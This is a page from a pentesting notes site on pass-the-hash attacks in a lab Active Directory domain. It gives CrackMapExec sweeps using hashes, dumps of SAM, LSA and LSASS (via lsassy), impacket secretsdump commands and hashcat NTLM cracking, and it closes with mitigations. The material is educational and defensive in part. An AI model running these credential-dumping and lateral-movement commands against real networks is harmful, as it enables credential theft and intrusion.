Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  • Introduction
  • Methodology
  • Dumping and Cracking Hashes with Secrets Dump
  • Mitigations
  1. Pentesting
  2. NET-Pen
  3. Active Directory Pentesting
  4. Post-Compromise Attacks

Pass Attacks

PreviousPost-Compromise AttacksNextKerberoasting Attack

Last updated 5 months ago

Introduction

In cybersecurity, pass attacks exploit the authentication mechanisms of networked systems by using hash credentials rather than plaintext passwords. These attacks allow lateral movement within a network, often bypassing conventional security restrictions.

Methodology

Step 1: Initial Setup with CrackMapExec

CrackMapExec is a powerful post-exploitation tool for enumerating and exploiting Active Directory (AD) environments. First, we ensure that CrackMapExec is functioning correctly by viewing the available options:

crackmapexec --help
CrackMapExec

Step 2: Running SMB Commands

To explore SMB (Server Message Block) shares and services, we can start by listing the help options specific to SMB:

crackmapexec smb --help

We then connect to the network, specifying the target subnet and credentials. In this phase, we successfully obtain the credentials of the Punisher and Spiderman machines, allowing access to additional resources and revealing valuable information about other accessible systems on the network.

sudo crackmapexec smb 192.168.92.0/24 -u fcastle -d MARVEL.local -p Password1

The command uses CrackMapExec to scan the 192.168.92.0/24 subnet for SMB services. It attempts to authenticate with the username fcastle and password Password1 on the domain MARVEL.local. If successful, it enumerates SMB shares and gathers information about the devices in the network. This is typically used for network reconnaissance and SMB vulnerability testing during penetration testing.

Step 3: Testing Authentication with Hashes

We use the -H option to leverage hash-based authentication, which specifies NTLM hash values instead of plain-text passwords. This technique is crucial in pass-the-hash attacks, where plaintext passwords are unnecessary.

sudo crackmapexec smb 192.168.92.0/24 -u administrator -H <hash> --local-auth

Step 4: Enumerating SAM Accounts and Shares

SAM (Security Account Manager) databases and shared folders are common targets in network environments. Enumerating these allows us to view stored credentials and shared resources, providing insight into the network’s structure

SAM Enumeration

sudo crackmapexec smb 192.168.92.0/24 -u administrator -H <hash> --local-auth –sam

Shared Folders Enumeration

sudo crackmapexec smb 192.168.92.0/24 -u administrator -H <hash> --local-auth –shares

Step 5: Local Security Authority (LSA) Enumeration

The Local Security Authority (LSA) maintains various security policies and account information. Accessing it provides further credential-based access.

sudo crackmapexec smb 192.168.92.0/24 -u administrator -H <hash> --local-auth –lsa

Step 6: Listing All Available SMB Shares

We use the -L option to enumerate SMB shares across the network. This step provides visibility into the shared resources accessible to the specified user, offering insight into sensitive data or high-privilege directories.

crackmapexec smb -L

Step 7: Running LSASSY Module

Lsassy is an extraction tool that works alongside CrackMapExec to dump credentials from the Local Security Authority Subsystem Service (LSASS).

sudo crackmapexec smb 192.168.92.0/24 -u administrator -H <hash> --local-auth -M lsassy

Step 8: Database Enumeration and Switch to CMEDB

We switch to CMEDB, CrackMapExec’s integrated database module to manage and review data on extracted hosts. This module allows us to view host details and extracted data.

  • Enter CMEDB

cmedb

Check Hosts and Shares

  • hosts

  • Shares

Dumping and Cracking Hashes with Secrets Dump

SecretsDump is utilized to retrieve hashed credentials from systems, providing direct access to SAM hashes.

  1. Dumping Hashes with Credentials

secretsdump.py MARVEL.local/fcastle:'Password1'@192.168.92.128

2. Using Alternate Credentials

secretsdump.py MARVEL.local/pparker:'Password1'@192.168.92.137

3. Dumping Hashes with a Provided Hash

secretsdump.py administrator@192.168.92.128 -hashes <hash>

Cracking Retrieved Hashes with Hashcat

Once hashes are extracted, we proceed with cracking them to reveal passwords. After creating a file for the hashes:

· Create a Hash File

mousepad ntlm.txt

Then, paste the copied hash into this file.

· Verify NTLM Hash Format

hashcat --help | grep NTLM

· Crack Hashes with Hashcat

hashcat -m 1000 ntlm.txt rockyou.txt
  • hashcat: This is the tool used for high-performance password cracking. Hashcat supports various hashing algorithms and allows us to perform dictionary, brute-force, and hybrid attacks.

  • -m 1000: The -m option specifies the hashing algorithm. In this case, 1000 is the mode identifier for NTLM hashes. NTLM is a hash format used mainly by Windows operating systems to store password hashes. The mode 1000 tells Hashcat that the hashes in the file ntlm.txt are NTLM hashes and to use the appropriate algorithm.

  • ntlm.txt: This is the input file containing the NTLM hashes to be cracked.

  • rockyou.txt: This is the wordlist or dictionary file used by Hashcat to attempt cracking the hashes.

Mitigations

Pass the Hash / Pass the Password

While it is challenging to fully prevent pass attacks, several mitigations can significantly raise the difficulty for attackers:

  1. Limit Account Re-use

o Unique Passwords for Each Local Administrator Account: Avoid re-using the same password across different local administrator accounts.

o Disable Guest and Built-In Administrator Accounts: Disabling these accounts reduces attack entry points, as they are often default targets.

o Apply the Principle of Least Privilege: Restrict local administrator rights to only essential personnel and systems to minimize the risk and impact of an account being compromised.

2. Utilize Strong Passwords

o Enforce Long and Complex Passwords: Require passwords longer than 14 characters with a mix of upper and lower case letters, numbers, and symbols. Stronger passwords increase the difficulty of successful brute force and pass-the-hash attacks.

3. Multi-Factor Authentication (MFA)

o Adding MFA, especially for privileged accounts, greatly enhances security by requiring additional verification steps beyond just the password or hash.

4. Network Segmentation and Isolation

o Separate High-Risk and Critical Systems: Segment the network so that high-value assets, such as domain controllers and critical servers, are isolated from other network zones. This restricts lateral movement if one account or machine is compromised.

CrackMapExec — SMB
CrackMapExec — Local-auth
CrackMapExec — local-auth — Sam
CrackMapExec — local-auth — Shares
CrackMapExec — local-auth — lsa
CrackMapExec — local-auth — lsa
Listing all available SMB share
Listing all available SMB share
CrackMapExec — local-auth -lsassy
SecretsDump — fcastle
SecretsDump — pparker
Hash Cracked